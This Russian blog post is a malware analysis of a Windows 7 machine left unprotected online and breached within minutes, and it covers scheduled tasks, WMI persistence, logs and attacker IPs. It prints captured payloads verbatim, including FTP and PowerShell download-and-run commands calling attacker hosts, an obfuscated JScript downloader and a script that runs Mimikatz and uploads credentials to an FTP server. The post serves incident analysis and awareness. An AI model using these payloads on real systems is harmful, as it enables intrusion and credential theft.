Оставил систему без защиты в Интернет

Привет! Сегодня хочу рассказать детали одного эксперимента, который весьма показателен в наше неспокойное время.

Целью эксперимента было показать, что операционная система без средств защиты, даже штатных, выжить в сети Интернет долго не сможет. Многочисленные попытки взлома со стороны неустановленных лиц увенчались успехом буквально спустя час-полтора после включения.

Итак, ход эксперимента. Я запустил чистую Windows 7 x86 без установленных сетевых экранов, антивирусов с “белым” IP-адресом. И спустя полтора часа выключил. Подмонтировал образ диска к своему компьютеру и начинаю изучение.

Кстати, всё пишу в реальном времени. Не получится так не получится, статья всё равно будет опубликована. Нужно узнать что произошло и кто это сделал.

Запланированные задачи

Открываю каталог C:\Windows\system32\Tasks\ и вижу:

Сразу скажу, этих заданий там быть не должно. И имена какие-то не очень.

Фиксируем временную метку: 18.09.2019 16:42:49-51. За три секунды создано несколько задач. Посмотрим, что у них внутри.

Mysa
<Exec>
<Command>cmd</Command>
<Arguments>/c echo open ftp.0603bye.info > s & echo test >> s & echo 1433 >> s & echo binary >> s & echo get a.exe c:\windows\update.exe >> s & echo bye >> s & ftp -s:s & c:\windows\update.exe</Arguments>
</Exec>
Команды работы с FTP-сервером кидаются в файлик s. Данные команды загружают исполняемый файл a.exe с сервера злоумышленников и кидают его в каталог системы, а также выполняют. Чтож, попытаемся восстановить файл s и файл update.exe, а также попробуем забрать файл с сервака.

Mysa1
<Exec>
<Command>rundll32.exe</Command>
<Arguments>c:\windows\debug\item.dat,ServiceMain aaaa</Arguments>
</Exec>

Выполняется функция из dll, замаскированной под \debug\item.dat. Попробуем её восстановить.

Mysa2
<Exec>
<Command>cmd</Command>
<Arguments>/c echo open ftp.0603bye.info > p & echo test >> p & echo 1433 >>  p & echo get s.dat c:\windows\debug\item.dat >> p & echo bye >> p & ftp -s:p</Arguments>
</Exec>

Ещё один файл с FTP. Действия аналогичные. Поищем item.dat и p.

Mysa3
<Exec>
<Command>cmd</Command>
<Arguments>/c echo open ftp.0603bye.info > ps & echo test >> ps & echo 1433 >> ps & echo get s.rar c:\windows\help\lsmosee.exe >> ps & echo bye >> ps & ftp -s:ps & c:\windows\help\lsmosee.exe</Arguments>
</Exec>

Аналогично. Качается архив, кидается в help\lsmosee.exe и запускается. Надо восстановить его.

ok
<Exec>
<Command>rundll32.exe</Command>
<Arguments>c:\windows\debug\ok.dat,ServiceMain aaaa</Arguments>
</Exec>

Запуск ещё одной dll-ки. Поищем ok.dat.

Причём все таски выполнялись от имени системы. Так, все скачанные файлы будут падать в C:\windows\system32.

Ищем артефакты

c:\windows\update.exe – не найден.
c:\windows\debug\item.dat – найден. Дата создания та же, время 16:42:37 Представляет собой EXE-файл. Смотрим. Отладчик показывает, что экспортируется только одна функция – ServiceMain, восстановить функционал у меня пока скилла не хватает.
c:\windows\help\lsmosee.exe – не найден.
c:\windows\debug\ok.dat – не найден.

Рановато я выключил, или что-то пошло не так.. В любом случае у нас только один модуль вирусни есть. Чтож, давайте-так посмотрим вообще все файлы, которые создавались в это время. В R-Studio, которым я для этого пользуюсь всё делать очень удобно.

Артефакты по времени

C:\windows\system32\abc.txt, время создания 16:42:10. – текстовый файл. Содержимое похоже на вывод списка активных процессов.

C:\Windows\Prefetch\POWERSHELL.EXE-920BBA2A.pf, время создания 16:42:08, это файл Prefetch – показывающий, что в то самое время запускался интерпретатор powershell. Интересно, какие команды выполнялись..

Поиск на Virustotal

Обнаружил файл downs.exe (там же). Рассчитаем SHA256 (и выполним поиск на вирустотал: https://www.virustotal.com/gui/file/540985ec8f60432dc67bf24b8efa7ee16030734b2a90a1db2195790438e104bc/detection).

Файл-то походу легальный. Полезно почитать кстати раздел COMMUNITY где народ обсуждает этот файл.

Проверяем следующий: msiefs.exe, (https://www.virustotal.com/gui/file/e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201/detection)

Другое дело! :) В частности, вот в деталях есть анализ его поведения:

Ценная инфа…

Дополнительные модули

Кстати, n.vbs и c3.bat я нашёл. Посмотрим c3.bat… Это конечно же не bat-файл.

Видно по тексту, что качаются ещё файлы с других хостов. В том числе powershell скрипты. Вот всё и прояснилось.

Выдам построчно:

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckayoumm4" DELETE&
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckayoumm3'" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="fuckyoumm3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"&
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="fuckyoumm4", CommandLineTemplate="cmd /c powershell.exe -nop -enc \"JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdwBtAGkALgAxADIAMQA3AGIAeQBlAC4AaABvAHMAdAAvADIALgB0AHgAdAAnACkALgB0AHIAaQBtACgAKQAgAC0AcwBwAGwAaQB0ACAAJwBbAFwAcgBcAG4AXQArACcAfAAlAHsAJABuAD0AJABfAC4AcwBwAGwAaQB0ACgAJwAvACcAKQBbAC0AMQBdADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAXwAsACAAJABuACkAOwBzAHQAYQByAHQAIAAkAG4AOwB9AA==\"&
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.1217bye.host/S.ps1')&
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://173.208.139.170/s.txt')&
powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://139.5.177.19/s.jpg') || regsvr32 /u /s /i:http://wmi.1217bye.host/1.txt scrobj.dll&
regsvr32 /u /s /i:http://173.208.139.170/2.txt scrobj.dll&
regsvr32 /u /s /i:http://139.5.177.19/3.txt scrobj.dll"&
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"fuckyoumm3\"", Consumer="CommandLineEventConsumer.Name=\"fuckyoumm4\""
del C:\windows\ime\c3.bat

Так, видим тут есть зашифрованная строка. Взглядом опытного сыщика определяем base64 (характерное окончание). Декодируем.

$wc=New-Object System.Net.WebClient;
$wc.DownloadString('http://wmi.1217bye.host/2.txt').trim() -split '[\r\n]+'|%
{
$n=$_.split('/')[-1];
$wc.DownloadFile($_, $n);
start $n;
}

Тут ещё получается список файлов и закачивается на многострадальный компьютер.

Итак, какие файлы мы потенциально могли получить:

  1. http://wmi.1217bye.host/S.ps1
  2. http://173.208.139.170/s.txt
  3. http://139.5.177.19/s.jpg
  4. http://wmi.1217bye.host/1.txt
  5. http://173.208.139.170/2.txt
  6. http://139.5.177.19/3.txt
  7. http://wmi.1217bye.host/2.txt

Попробую их получить и изучить.

Содержимое скриптов

  1. Доступен. Вот содержимое:
    gwmi -Class 'Win32_Process' -Filter "Name='svchost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\svchost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\svchost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
    gwmi -Class 'Win32_Process' -Filter "Name='conhost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\conhost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\conhost.exe'))){$_.Terminate();sleep -s 2;start-process c:\windows\temp\conhost.exe;}}
  2. Доступен. Вот содержимое:
    $url="http://139.5.177.19/l.txt";
    $web = New-Object System.Net.WebClient;
    $text = $web.DownloadString($url);
    $list=$text.trim().split("`r`n",[StringSplitOptions]::RemoveEmptyEntries);
    for($i=0;$i -lt $list.count;$i++){
    $line=$list[$i].trim().split(",");
    Get-Process|?{$_.Name -eq ($line[0] -replace "\.[^\.]+$","")}|Stop-Process -Force;
    Get-WmiObject Win32_Process -Filter ("name='"+$line[0]+"'")|%{$_.Terminate();}
    if($line[2].toString() -eq "1"){
    if(test-path -LiteralPath $line[1]){
    Remove-Item -LiteralPath $line[1] -Force;}}}
    Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='fuckyoumm2_filter'" | Remove-WmiObject -Verbose
    Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='fuckyoumm2_consumer'" | Remove-WmiObject -Verbose
    IEX (New-Object system.Net.WebClient).DownloadString('http://79.124.78.127/up.txt')
    1. В первой строке упомянут http://139.5.177.19/l.txt. Смотрим:
      lsmose.exe,C:\Windows\debug\lsmose.exe,1
      lsmos.exe,C:\Windows\debug\lsmos.exe,1
      lsmo.exe,C:\Windows\debug\lsmo.exe,1
      csrw.exe,C:\Program Files (x86)\Common Files\csrw.exe,1
      csrw.exe,C:\Program Files\Common Files\csrw.exe,1
      lsmosee.exe,c:\windows\help\lsmosee.exe,1
      csrs.exe,c:\csrs.exe,1
    2. В последней строке http://79.124.78.127/up.txt смотрим.
      $txt=New-Object -TypeName System.Collections.ArrayList;
      $localip="";
      [System.Net.Dns]::GetHostAddresses('')|?{$_.AddressFamily -eq "InterNetwork"}|%{$localip=$_.IPAddressToString}
      $publicip="";
      $client=New-Object "System.Net.WebClient";
      [byte[]]$data=$client.DownloadData("http://2019.ip138.com/ic.asp");
      $html=[System.Text.Encoding]::Default.GetString($data);
      if($html -match "\[(\d+\.\d+\.\d+\.\d+)\]"){$publicip=$matches[1];}
      $process=gwmi -class "Win32_Process";
      foreach($p in $process){
      [void]$txt.Add(("??:"+$p.ExecutablePath));
      [void]$txt.Add(("???:"+$p.CommandLine));
      [void]$txt.Add("");};
      [void]$txt.Add("");
      $os=gwmi -class "Win32_OperatingSystem";
      $ver="";
      foreach($o in $os){
      [void]$txt.Add(("??:"+$o.Caption+"["+$o.Version+"]"));
      $ver=$o.Caption+"["+$o.Version+"]";}
      [void]$txt.Add("");
      $mem=gwmi -class "Win32_PhysicalMemory";
      $i=0;
      foreach($m in $mem){
      [void]$txt.Add(("??"+($i++)+":"+$m.Capacity));}
      [void]$txt.Add("");
      $cpu=gwmi -class "Win32_Processor";
      $i=0;
      $load="";
      foreach($c in $cpu){
      [void]$txt.Add(("CPU"+($i++)+":["+$c.LoadPercentage+"%]"+$c.Name));
      $load+=($c.LoadPercentage.toString()+"%-");};
      [void]$txt.Add("");
      Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
      $mm=[regex]::matches((Invoke-Mimikatz),'\* Username :.+\n.+?\* Domain :.+?\n.+?\* Password :.+');
      $s="";
      foreach($i in $mm){$s+=$i.value.trim()+"`r`n";};
      [void]$txt.Add($s);
      $txtfile=($env:tmp)+"\"+$publicip+"_"+$localip+"_"+$ver+"_"+$load.trimend("-")+".txt";
      $fs=New-Object System.IO.FileStream($txtfile, [System.IO.FileMode]::Create);
      $sw=New-Object System.IO.StreamWriter($fs, [Text.Encoding]::UTF8);
      $sw.WriteLine(($txt -join "`r`n"));
      $sw.Close();
      $fs.Close();
      $sw.Dispose();
      $fs.Dispose();
      $upfile=New-Object System.Io.FileInfo($txtfile);
      $ftpip="192.187.111.66";
      $ftpport="21";
      $ftpusername="up";
      $ftppassword="1433";
      $ftpclient=[system.net.ftpwebrequest] [system.net.ftpwebrequest]::create("ftp://"+$ftpip+":"+$ftpport+"/"+$upfile.Name);
      $ftpclient.UseBinary = $true;
      $ftpclient.Timeout = 5*1000;
      $ftpclient.Credentials = New-Object System.Net.NetworkCredential($ftpusername,$ftppassword);
      $ftpclient.Method=[system.net.WebRequestMethods+ftp]::UploadFile;
      $ftpclient.KeepAlive=$false;
      $sourceStream=New-Object System.Io.StreamReader($upfile.FullName);
      $fileContents=[System.Text.Encoding]::UTF8.GetBytes($sourceStream.ReadToEnd());
      $sourceStream.Close();
      $ftpclient.ContentLength=$fileContents.Length;
      $requestStream=$ftpclient.GetRequestStream();
      $requestStream.Write($fileContents, 0, $fileContents.Length);
      $requestStream.Close();
      $response=$ftpclient.GetResponse();
      $response.StatusDescription;
      $response.Close();
      1. Файл: http://2019.ip138.com/ic.asp – недоступен.
      2. Видно, что качался файл Mimikatz.ps1 – эта утилита позволяет выдёргивать пароли учтных записей из защищённой области памяти процесса lsass.exe. Считаем, что все наши учётные записи скомпрометированны. В том числе и доменные, оставшиеся в кеше. Благо у меня таких не было.
      3. Фигурирует некий FTP-сервер. Его исследование оставлю на потом.
  3. Доступен. Никакая это не фотка. Вот содержимое:
    Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem | Out-File c.txt
    cmd.exe /c taskkill /f /im help.exe /im doc001.exe /im dhelllllper.exe /im DOC001.exe /im dhelper.exe /im conime.exe /im a.exe /im docv8.exe /im king.exe /im name.exe /im doc.exe /im wodCmdTerm.exe /im win1ogins.exe /im win1ogins.exe /im lsaus.exe /im lsars.exe /im lsacs.exe /im regedit.exe /im lsmsm.exe /im v5.exe /im anydesk.exe /im sqler.exe /im sqlservr.exe /im NsCpuCNMiner64.exe /im NsCpuCNMiner32.exe /im tlscntr.exe /im eter.exe /im lsmo.exe /im lsarr.exe /im convert.exe /im WinSCV.exe /im ctfmonc.exe /im lsmose.exe /im svhost.exe /im secscan.exe /im wuauser.exe /im splwow64.exe /im boy.exe /IM powered.EXE /im systems.exe /im acnom.exe /im regdrv.exe /im mscsuscr.exe /im Pviunc.exe /im Bllianc.exe /im st.exe /im nvidia_update.exe /im dether.exe /im buff2.exe /im a.exe /im lacas.exe /im new.exe /im upsup1x.exe /im 84.exe /im las.exe /im sys.exe /im seser.exe /im ercKK.exe /im MDI6MD.exe
    cmd /c attrib -s -h -r c:\windows\syswow64\seser.exe
    cmd /c del c:\windows\syswow64\seser.exe
    cmd /c del c:\windows\system32\sys.exe
    cmd /c del c:\windows\syswow64\las.exe
    cmd /c del c:\windows\syswow64\84.exe
    cmd /c cacls C:\Windows\IIS\*.exe /e /d system
    cmd /c cacls C:\Windows\Fonts\Mysql\*.exe /e /d system
    cmd /c del C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\*.exe
    cmd /c del c:\windows\ercKK.exe
    cmd /c cacls c:\windows\fonts\data\*.exe /e /d system
    cmd.exe /c netsh ipsec static delete policy name=win |
    netsh ipsec static add policy name=win |
    netsh ipsec static add filterlist name=Allowlist |
    netsh ipsec static add filterlist name=denylist |
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135 |
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137 |
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138 |
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139 |
    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445 |
    netsh ipsec static add filteraction name=Allow action=permit |
    netsh ipsec static add filteraction name=deny action=block |
    netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny |
    netsh ipsec static set policy name=win assign=y
  4. Доступен. Содержимое:
    <?xml version="1.0"?>
    <scriptlet>
    <registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
    <![CDATA[var WF$1=new ActiveXObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50");WF$1['\x4f\x70\x65\x6e']("\x47\x45\x54","\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x34\x37\x2e\x32\x33\x39\x2e\x31\x38\x36\x2f\x6d\x61\x78\x2e\x65\x78\x65",0);WF$1['\x53\x65\x6e\x64']();var kGl$idWlF2=new ActiveXObject("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");kGl$idWlF2['\x4d\x6f\x64\x65']=3;kGl$idWlF2['\x54\x79\x70\x65']=1;kGl$idWlF2['\x4f\x70\x65\x6e']();kGl$idWlF2['\x57\x72\x69\x74\x65'](WF$1['\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79']);kGl$idWlF2['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65']("\x6d\x61\x78\x2e\x65\x78\x65",2);var J3=new ActiveXObject("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c")['\x52\x75\x6e']("\x6d\x61\x78\x2e\x65\x78\x65");var WF$1=new ActiveXObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50");WF$1['\x4f\x70\x65\x6e']("\x47\x45\x54","\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x34\x37\x2e\x32\x33\x39\x2e\x31\x38\x36\x2f\x75\x70\x73\x2e\x65\x78\x65",0);WF$1['\x53\x65\x6e\x64']();var kGl$idWlF2=new ActiveXObject("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");kGl$idWlF2['\x4d\x6f\x64\x65']=3;kGl$idWlF2['\x54\x79\x70\x65']=1;kGl$idWlF2['\x4f\x70\x65\x6e']();kGl$idWlF2['\x57\x72\x69\x74\x65'](WF$1['\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79']);kGl$idWlF2['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65']("\x73\x2e\x65\x78\x65",2);var J3=new ActiveXObject("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c")['\x52\x75\x6e']("\x73\x2e\x65\x78\x65");var WF$1=new ActiveXObject("\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50");WF$1['\x4f\x70\x65\x6e']("\x47\x45\x54","\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x33\x2e\x32\x34\x37\x2e\x32\x33\x39\x2e\x31\x38\x36\x2f\x75\x70\x73\x75\x70\x78\x2e\x65\x78\x65",0);WF$1['\x53\x65\x6e\x64']();var kGl$idWlF2=new ActiveXObject("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");kGl$idWlF2['\x4d\x6f\x64\x65']=3;kGl$idWlF2['\x54\x79\x70\x65']=1;kGl$idWlF2['\x4f\x70\x65\x6e']();kGl$idWlF2['\x57\x72\x69\x74\x65'](WF$1['\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79']);kGl$idWlF2['\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65']("\x6e\x65\x77\x2e\x65\x78\x65",2);var J3=new ActiveXObject("\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c")['\x52\x75\x6e']("\x6e\x65\x77\x2e\x65\x78\x65");]]>
    </script>
    </registration>
    <public>
    <method name="Exec"></method>
    </public>
    <script language="JScript">
    <![CDATA[
    function Exec() {
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); }
    ]]>
    </script>
    </scriptlet>

    Что-то обфусцированное, либо просто кодировка. Попробуем привести в читаемый вид.. Вытащим содержимое скрипта. В notepad++ заменим в строках \x на пустой символ и переведём HEX->ASCII.
    var WF$1=new ActiveXObject("Microsoft.XMLHTTP");
    WF$1['Open']("GET","http://173.247.239.186/max.exe",0);
    WF$1['Send']();
    var kGl$idWlF2=new ActiveXObject("ADODB.Stream");
    kGl$idWlF2['Mode']=3;
    kGl$idWlF2['Type']=1;
    kGl$idWlF2['Open']();
    kGl$idWlF2['Write'](WF$1['responseBody']);
    kGl$idWlF2['SaveToFile']("max.exe",2);
    var J3=new ActiveXObject("WScript.Shell")['Run']("max.exe");
    var WF$1=new ActiveXObject("Microsoft.XMLHTTP");
    WF$1['Open']("GET","http://173.247.239.186/ups.exe",0);
    WF$1['Send']();
    var kGl$idWlF2=new ActiveXObject("ADODB.Stream");
    kGl$idWlF2['Mode']=3;
    kGl$idWlF2['Type']=1;
    kGl$idWlF2['Open']();
    kGl$idWlF2['Write'](WF$1['responseBody']);
    kGl$idWlF2['SaveToFile']("s.exe",2);
    var J3=new ActiveXObject("WScript.Shell")['Run']("s.exe");
    var WF$1=new ActiveXObject("Microsoft.XMLHTTP");
    WF$1['Open']("GET","http://173.247.239.186/upsupx.exe",0);
    WF$1['Send']();
    var kGl$idWlF2=new ActiveXObject("ADODB.Stream");
    kGl$idWlF2['Mode']=3;
    kGl$idWlF2['Type']=1;
    kGl$idWlF2['Open']();
    kGl$idWlF2['Write'](WF$1['responseBody']);
    kGl$idWlF2['SaveToFile']("new.exe",2);
    var J3=new ActiveXObject("WScript.Shell")['Run']("new.exe");
  5. Не доступен.
  6. Не доступен.
  7. Доступен. Вот содержимое:
    http://173.247.239.186/ok.exe
    http://173.247.239.186/upsupx.exe
    http://173.247.239.186/u.exe

    Эти файлы были найдены. На досуге посчитаю SHA256 и загоню на Virustotal.

Дальше проверять не вижу смысла, очень много исполняемых файлов. Поглядим журналы.

Системные журналы

Копируем весь каталог C:\Windows\system32\winevt\Logs с журналами для изучения.

Вот что нашёл интересного. Журнал Applications:

Процесс CMD был запущен уже в 16:41:58. Идём в журнал Security:

Чуть раньше был выполнен удалённый вход! Даже IP адрес зафиксирован.

Пробиваем IP адрес

Идём по адресу https://www.abuseipdb.com/check/23.245.228.28 и пробиваем по базам нарушителей сетевого спокойствия.

У адреса богатая история – сканирования, несанкционированный доступ и т.д… Кароче не первый раз хулиганят.

Сколько же времени заняло у злоумышленников напихать чистой незащищённой системе полную задницу огурцов? Из журналов событий узнаём время запуска: 16:29:33. Время удалённого входа – 16:41:25. Всё заняло примерно 11 минут!!!

То есть с момента включения до момента проникновения прошло 11 минут. Злоумышленники закрепились за пару минут, о чём свидетельствуют журналы файрволла и даты создания модулей вредоносных объектов в системе. Значит это скорее всего автоматическая скриптовая атака.

Ой, ребята, уже второй час ночи.. )) Если было интересно – жду в комментах. Разберу поглубже некоторые моменты позже.

P.S. Поведение похоже на кампанию Smominru

 

Интересно? Поделись с другом
Litl-Admin.ru

Comments:

Leave a Reply